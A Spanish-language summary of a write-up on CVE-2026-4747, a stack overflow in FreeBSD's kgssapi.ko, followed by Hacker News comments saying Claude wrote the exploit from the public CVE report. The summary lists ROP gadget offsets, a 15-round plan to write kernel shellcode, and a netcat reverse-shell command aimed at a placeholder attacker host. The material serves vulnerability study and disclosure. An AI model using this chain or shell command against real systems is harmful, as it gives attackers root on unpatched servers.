Obtención de shell root mediante RCE remota del kernel en FreeBSD (CVE-2026-4747)
(github.com/califio)- En el módulo kgssapi.ko de FreeBSD se produce un desbordamiento de búfer en la pila durante el procesamiento de autenticación RPCSEC_GSS, lo que permite ejecución remota de código
- La función
svc_rpc_gss_validate()copia datos de credenciales sin verificación de límites, sobrescribiendo incluso la dirección de retorno - Un atacante puede inyectar una cadena ROP del kernel a través de la ruta RPCSEC_GSS del servidor NFS usando un ticket Kerberos válido
- Mediante un desbordamiento en 15 etapas, escribe 432 bytes de shellcode en el área BSS del kernel y luego los ejecuta, creando una reverse shell con privilegios root
- Se ven afectadas algunas versiones de FreeBSD 13.5~15.0, y el parche agrega la lógica de validación de
oa_length
CVE-2026-4747 — Desbordamiento de búfer en la pila de RPCSEC_GSS en kgssapi.ko de FreeBSD
- Vulnerabilidad de desbordamiento de búfer en la pila que ocurre durante el procesamiento de autenticación RPCSEC_GSS en el módulo kgssapi.ko de FreeBSD
- La función
svc_rpc_gss_validate()copia datos de credenciales al reconstruir el encabezado RPC en un búfer de pila de 128 bytes sin verificar límites sobreoa_length - Las credenciales que exceden los 96 bytes restantes después del encabezado fijo de 32 bytes sobrescriben variables locales, registros guardados e incluso la dirección de retorno
- Están afectadas las versiones FreeBSD 13.5(<p11), 14.3(<p10), 14.4(<p1), 15.0(<p5)
- El parche agrega una condición para verificar antes de copiar si
oa_lengthexcede el tamaño del búfer
Estructura del desbordamiento e impacto
- El análisis del prólogo de la función muestra que el arreglo
rpchdrestá ubicado en[rbp-0xc0]y el punto de inicio de la copia en[rbp-0xa0] - A partir de los 96 bytes se sobrescriben, en orden, RBX guardado, R12~R15, RBP y la dirección de retorno
- En el ataque real, debido al encabezado GSS y al handle de contexto de 16 bytes, la dirección de retorno queda en el byte 200 del cuerpo de credenciales
- El código vulnerable solo es alcanzable desde la ruta de autenticación RPCSEC_GSS del servidor NFS
- El atacante debe ser un usuario con un ticket Kerberos válido y provocar el desbordamiento en la etapa de autenticación RPCSEC_GSS (procedimiento DATA)
Configuración del entorno de ataque
- VM objetivo: FreeBSD 14.4-RELEASE amd64, servidor NFS habilitado,
kgssapi.kocargado, KDC de MIT Kerberos en ejecución - Host atacante: Linux, módulo Python3
gssapiy cliente MIT Kerberos instalados, con acceso a NFS (2049/TCP) y KDC (88/TCP) - Puede configurarse en diversos hipervisores como QEMU, VMware, VirtualBox y bhyve
- En la configuración de Kerberos son obligatorios
rdns=falseydns_canonicalize_hostname=falseenkrb5.conf - Deben coincidir entre la VM y el atacante el nombre de host (
test) y el service principal (nfs/test@TEST.LOCAL)
Estructura del exploit de ejecución remota de código del kernel (RCE)
- El ataque consta de 15 rondas de desbordamiento multietapa
- En cada ronda se crea un nuevo contexto Kerberos GSS
- Se envía un paquete RPCSEC_GSS DATA de tamaño excesivo
- Se sobrescribe la dirección de retorno con un gadget ROP para escribir datos en memoria del kernel o ejecutar shellcode
- Se llama a
kthread_exit()para terminar normalmente el hilo NFS
- Cada ronda usa una cadena ROP de unos 200 bytes y los 432 bytes totales de shellcode se envían a lo largo de 15 rondas
- Como FreeBSD crea 8 hilos NFS por CPU, se requieren al menos 2 CPU (16 hilos)
Construcción de la cadena ROP
- Gadgets ROP principales:
pop rdi; ret(K+0x1adcda)pop rsi; ret(K+0x1cdf98)pop rdx; ret(K+0x5fa429)pop rax; ret(K+0x400cb4)mov [rdi], rax; ret(0xffffffff80e3457c) — escritura arbitraria de 8 bytes en memoria del kernel
- Ronda 1: llamada a
pmap_change_prot()para cambiar el área BSS del kernel a RWX - Rondas 2–14: uso del gadget
mov [rdi], raxpara escribir el shellcode en la BSS en bloques de 32 bytes - Ronda 15: escritura de los últimos 16 bytes y salto al punto de entrada del shellcode
Funcionamiento del shellcode
- Se ejecuta en modo kernel (CPL 0) y crea un proceso de reverse shell con privilegios root
- Como no es posible invocar
execve()directamente desde el hilo del kernel de NFS, se usa una estructura de dos etapas- Función Entry: crea un nuevo proceso del kernel con
kproc_create()y luego termina - Función Worker: ejecuta
/bin/sh -c "mkfifo /tmp/f;sh</tmp/f|nc ATTACKER 4444>/tmp/f"
- Función Entry: crea un nuevo proceso del kernel con
- Inicializa el registro
DR7para evitar excepciones de depuración - Limpia la bandera
P_KPROCpara quefork_exit()siga la rutauserreten vez dekthread_exit() - Como resultado,
/bin/shse ejecuta en modo usuario con privilegios uid 0(root)
Proceso de resolución de problemas principales
- Desajuste en offsets de registros: se confirmó con un patrón De Bruijn que el offset real de RIP era de 200 bytes
- Incompatibilidad GSS MIT–Heimdal: el problema de normalización del nombre de host se resolvió con la configuración de
krb5.conf - Herencia de registros de depuración: se evitó la excepción
trap 1inicializandoDR7 - Límite de 400 bytes: se logró una transmisión estable en unidades de 8 bytes con la combinación
pop rdi + pop rax + mov [rdi], rax - Consumo de hilos NFS: en cada ronda termina 1 hilo, por lo que se requieren al menos 2 CPU
Resumen del flujo final del exploit
- El atacante obtiene un ticket Kerberos y luego envía secuencialmente 15 paquetes de desbordamiento RPCSEC_GSS
- Ronda 1: establecer la BSS como RWX
- Rondas 2–14: escribir 416 bytes de shellcode
- Ronda 15: escribir los últimos 16 bytes y ejecutar el shellcode
- El shellcode crea un nuevo proceso con
kproc_create()y ejecuta/bin/sh - El atacante obtiene una shell root desde la sesión
nc - Todo el proceso toma alrededor de 45 segundos y se completa con un total de 15 paquetes RPC
1 comentarios
Comentarios en Hacker News
El punto clave es que Claude no encontró el bug directamente, sino que tomó el reporte de CVE ya publicado y escribió un programa para explotar esa vulnerabilidad
Pero viendo la velocidad del progreso actual, no parece lejano el momento en que modelos como Claude analicen el código fuente del kernel o de servicios críticos y, mediante pruebas repetidas en una VM, encuentren nuevos CVE automáticamente
Antes, el costo de encontrar un CVE era tan alto que solo lo intentaban atacantes motivados por ganancias económicas
Ahora el costo ha bajado, así que también los investigadores con buenas intenciones pueden hallarlos fácilmente, creando un entorno donde se puedan parchear antes de que se exploten
Ahora parece que modelos como Claude Code pueden analizar una base de código, sugerir dónde y cómo hacer pruebas de fuzzing, revisar crashes y, aprendiendo de forma iterativa, encontrar CVE
Nicholas Carlini lo encontró usando Claude en Anthropic, y a partir de eso se redactó el reporte del CVE
Para este tipo de fuzzing automatizado, los LLM encajan bastante bien
Claude ya está encontrando CVE a nivel de experto
La empresa de Thai Duong, Calif, publicó una entrada de blog que resume este caso
Incluye los prompts utilizados, y este bug también fue descubierto por Claude a través de Nicholas Carlini
En FreeBSD 14.x no había KASLR (aleatorización del espacio de direcciones del kernel) ni stack canaries, así que el ataque fue más fácil
Me pregunto si esto mejora en FreeBSD 15.x
Como referencia, NetBSD ya tiene una función de KASLR
Se puede verificar con
sysctl kern.elf64.aslr.enable: 1Según este post del foro, hay quienes opinan que KASLR solo da una falsa sensación de seguridad y refuerza poco la seguridad real
Si ves la presentación publicada recientemente, “Black-Hat LLMs”, queda claro que los LLM se están volviendo cada vez más capaces en la búsqueda de vulnerabilidades y en exploits
Ya había señales desde que Sam Altman publicó en diciembre pasado un tuit diciendo que estaban contratando un Head of Preparedness
Lo más difícil es encontrar vulnerabilidades, no corregirlas
La mayoría de los investigadores de seguridad no las divulgan por motivos económicos
Por eso, si la detección automática se vuelve posible, aunque sea riesgosa, a largo plazo traerá un gran beneficio
De lo contrario, podría convertirse en otra carga para los desarrolladores de código abierto
Como ocurrió antes con la controversia sobre parches de seguridad entre Google y FFmpeg
Gracias por compartir la colección de prompts publicados
Esta automatización puede representar ahorro de tiempo para los equipos de desarrollo, pero quizá no tenga mucho valor para los usuarios comunes
Hoy en día los bugs del kernel ya no se encuentran manualmente
Aun así, que la gente solo hable de Claude parece deberse, al final, al efecto publicitario de Anthropic
Ahora, más que el hecho de que “Claude escribió el código”, hay que enfocarse en qué tan buena es la calidad de ese código y qué tan mantenible es
Me da curiosidad si el código escrito por Claude tiene realmente una estructura mantenible o si es un desastre
Este caso muestra la autonomía y potencia de los agentes
Al mismo tiempo, es un ejemplo de la ansiedad por el control y la necesidad de gobernanza que sienten las empresas
Fue interesante poder ver todo el historial de prompts